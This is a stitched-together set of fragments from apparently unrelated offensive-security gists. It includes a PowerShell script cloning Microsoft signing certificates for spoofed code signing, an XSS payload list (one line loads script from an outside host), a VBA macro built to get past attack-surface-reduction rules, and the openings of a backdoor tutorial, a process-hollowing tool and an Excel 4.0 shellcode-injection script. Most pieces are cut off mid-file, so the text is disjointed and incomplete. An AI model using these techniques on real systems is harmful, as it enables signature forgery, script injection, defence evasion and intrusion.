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# We'll just store the cloned certificates in current user "Personal" store for now. | |
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' } | |
$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer | |
$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation | |
$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer | |
$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation | |
$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer |
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';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
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' ASR rules bypass creating child processes | |
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction | |
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office | |
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule | |
Sub ASR_blocked() | |
Dim WSHShell As Object | |
Set WSHShell = CreateObject("Wscript.Shell") | |
WSHShell.Run "cmd.exe" | |
End Sub |
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From the inside out, a minimalist backdoor. | |
I'm a pretty big fan of simple, and elegant. In this gist blog, I'll show you a very simple way to maintain access to a remote system that is behind a FireWall, NAT and VPN. | |
We will use in this example 3 tools. | |
1. Node | |
2. PowerShell | |
3. LocalTunnel | |
While I have a full compact, custom version, I will not release this. |
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/*************** | |
* Simple Process Hollowing in C# | |
* | |
* #Build Your Binaries | |
* c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe | |
* | |
* @author: Michael Gorelik <smgorelik@gmail.com> | |
* gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75 | |
* #Most of the code taken from here: @github: github.com/ambray |
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<# | |
Lateral movement and shellcode injection via Excel 4.0 macros | |
Author: Philip Tsukerman (@PhilipTsukerman) | |
License: BSD 3-Clause | |
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM | |
#> | |
function Invoke-ExShellcode | |
{ | |
<# |
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<html> | |
<img id="HoneyBadger" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABAAAAAKtCAIAAAA2LYveAAAACXBIWXMAAA7zAAAO8wEcU5k6AAAAEXRFWHRUaXRsZQBQREYgQ3JlYXRvckFevCgAAAATdEVYdEF1dGhvcgBQREYgVG9vbHMgQUcbz3cwAAAALXpUWHREZXNjcmlwdGlvbgAACJnLKCkpsNLXLy8v1ytISdMtyc/PKdZLzs8FAG6fCPGXryy4AAovrklEQVR42ty9i5bjSJIsFgGAZGZWVnX1vFa60tmj/z/6CR19ymp1R3dmerrrkZl8ACFztwiH40kwM6tnJW5PLZMEgXghYO5ubh7/z//jfw8hxOELn1RVFeZedZBvU0r2iX8/ffFs09fSr6qY1o+fXLqz9/yK/3ZdZ+8H/3Yn+9NeK5eIYTfbWfbLfm7dvHQt39tI2ldx8uL5l8Z/cFg5Cfu1MBRz81Kt9W7uPNG3x/d0dl7asDb76/M4bfP0yLbM49Jho3a2C+ttaR0uvTDO/if9RLcd3nT6Gk3c7Hl27vM4eT9dnzzlaApWzhAXzs8/67qu9GVfHbt73Nl1HSv8l7q2O3btpW3P6A5WirShi2WkZQdomtPsDdK27agB/PZY53VbxUav3OjVK/7ZNHv8o8s+H3Zpa54BDcA5bXnjYH9z8b1OyvPlcsF7fti2id3UraPe6atpGn6FI4/P3/EnD8D5tUfywq9affFU1oUmHvNC0hdbUsurmV9XOhQ8Unpdc6m0bD+6Jf/Grp/xC4elYpfxwsHlXN1wPejnqSlLBWfBDFW4QVOsOu7DEbPI3kXsPDjb8dxyQPDv+Xw+nS7YsXe7g05nbJrdfr9v6n3u/uXy9PKNS/3u7u5wOKCvGDR88/z8HEOtUyYvncQaDau6c3kSVFxdsmGkqk3dk77w+ePj44cPH5qd7JzpdNQ+5hfOjFbhX1xOxrSRUcUnuNzxeMSlcSg+5ySi |
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" _ _ " | |
" _ /|| . . ||\ _ " | |
" ( } \||D ' ' ' C||/ { % " | |
" | /\__,=_[_] ' . . ' [_]_=,__/\ |" | |
" |_\_ |----| |----| _/_|" | |
" | |/ | | | | \| |" | |
" | /_ | | | | _\ |" | |
It is all fun and games until someone gets hacked! |